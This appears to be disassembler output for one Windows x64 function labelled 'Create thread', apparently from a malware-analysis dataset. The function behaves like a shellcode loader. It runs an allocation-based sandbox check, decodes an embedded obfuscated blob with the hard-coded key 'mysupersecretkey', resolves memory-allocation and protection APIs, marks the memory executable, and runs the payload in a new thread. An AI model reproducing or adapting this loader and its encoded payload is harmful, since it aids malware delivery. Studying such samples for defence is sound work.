Function at 0x140008520
Capabilities:
Create thread

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8e8
mov rbx, rdx
call fcn.140001500
mov rcx, qword [rbx]
mov dword [rsp + 0x3c], 0
call fcn.140008350
mov ebx, eax
test eax, eax
je 0x140008564
mov ebx, 0xfffffffe
mov eax, ebx
add rsp, 0x8e8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov ecx, 0x5f5e100
call sub.msvcrt.dll_malloc
mov rcx, rax
test rax, rax
je 0x140008552
call sub.msvcrt.dll_free
lea rdi, [rsp + 0x470]
lea rsi, str.3_78F3_Av_002qZkpDRr.a__wK.SuuhN7_xM.avAhp_hban_I_j:W_e4Tuos0XtDW.o0cL0M0.qBaeJI7WQloEt_mN7Zy_A_kE70000G__yncd7lI1WMI:eyR0NP_cnDl_I.kX0Of_1:W_e4Tu_XA4m73hin__HoAN_l2T3B_x_:I:eKV0NLBAIWScAI:emN0NKb_1C_OHp1sybcll0cAQl0ui__XO__km0BsZ1vO66Si__nMwt07__Gx_mT5wPN_rr.negoO_p9X_Eq2MJsBg08_vOhEio__:QpE_zXJ_qRLrkB6qa_.9LOc0000_g08ZUkzw0kxVsbAM__jcBrts:Q_nhnK:IpJS:X_L0ZIApqBd_Wrw3xk_KULpnq1_Ry6_rsIsBb_dxu2_nSc0o__:_qBd_C1_IZ__RgHGekA07do4___x008ul_eR_B0ofS_nK_lQCO_P4rfq2RyfD1BMIN_6AfINSP_j_alZ_yWga1UrhkjQ9kh2vvF3w1E_nxsLEG_yDDXITIeO9Z__Q_L9T6_cf58urUwPxvxjU_5iVdnDtdhivj_F_fD.Nz_6D4Bzki2wJI2eqoz2iw90EaxJnwnWkawL_UhzcZCaxJnhzGrCS4xuaxiwwmYU2feUvoj0l_nKUT3mnuYdgDQ:jX.F_mRy6HNC_.jmLX_S:1c_AhbD_u_oTSJjSkEn_GQ21n1YONF78ol_R_a6_P3nf7Gl__S97_sQN3SH_LQ6t3WN5j_PMuZpxAOFMNeo_AWl_H_SW_._2_VB6bbm_Y_kWCfQt___ER_:tE0nzOBcNCqH9Q_q_VS_PjSYxd7gGi_7pmezfH_JhfIxdgbyxx_v_4___MTRL1Blr7_s_DT1Hg8tK_pWt_Ok_U_fK_HYx_P_u___j6T:DLkMB9W01YbglaGkX002r_sFO_S_j6V7qukz_syE1nqV4XbWSK074ylaNXIq_Mnq16G__sw_u_0MfSbB_o._sv_O0000._0___nK_lga_pti4Cga_pnfAse_xT4Kq
mov ecx, 0x8c
rep movsq qword [rdi], qword [rsi]
mov r8d, 0x461
lea r13, [0x1400090c0]
lea r12, [0x140009110]
lea rbp, [rsp + 0x40]
movzx edx, word [rsi]
mov rax, rcx
xor ecx, ecx
lea rsi, [rsp + 0x70]
mov qword [rsp + 0x70], rcx
mov word [rdi], dx
lea rdi, [rsp + 0x80]
mov rdx, rsi
mov qword [rsp + 0x78], rcx
mov ecx, 0x7e
rep stosq qword [rdi], rax
lea rdi, [0x140009130]
lea rcx, [rsp + 0x470]
call fcn.140007ce0
lea r8, str.mysupersecretkey
mov rcx, rdi
mov r9d, 0x11
mov edx, 0xe
call fcn.140008300
mov edx, dword [0x140009100]
mov r9d, 0x11
mov rcx, r13
call fcn.140008300
mov edx, dword [0x140009120]
mov r9d, 0x11
mov rcx, r12
call fcn.140008300
mov rcx, rdi
call sub.msvcrt.dll_strlen
mov rdx, rdi
mov rcx, rbp
lea r8, [rax + 1]
call sub.msvcrt.dll_mbstowcs
mov rcx, rbp
call fcn.1400081e0
mov rdx, r13
mov rcx, rax
call fcn.140008150
mov rcx, rbp
mov rdi, rax
call fcn.1400081e0
mov rdx, r12
mov rcx, rax
call fcn.140008150
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x400
mov r12, rax
call rdi
lea r9, [rsp + 0x3c]
mov r8d, 0x10
mov edx, 0x400
mov rbp, rax
mov rax, qword [rsp + 0x70]
lea rdi, [rbp + 8]
mov rcx, rbp
and rdi, 0xfffffffffffffff8
mov qword [rbp], rax
mov rax, qword [rsp + 0x468]
sub rcx, rdi
sub rsi, rcx
add ecx, 0x400
mov qword [rbp + 0x3f8], rax
shr ecx, 3
rep movsq qword [rdi], qword [rsi]
mov rcx, rbp
call r12
test eax, eax
je 0x140008552
xor eax, eax
xor edx, edx
xor r9d, r9d
mov r8, rbp
mov dword [rsp + 0x20], edx
xor ecx, ecx
xor edx, edx
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rsi, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140008552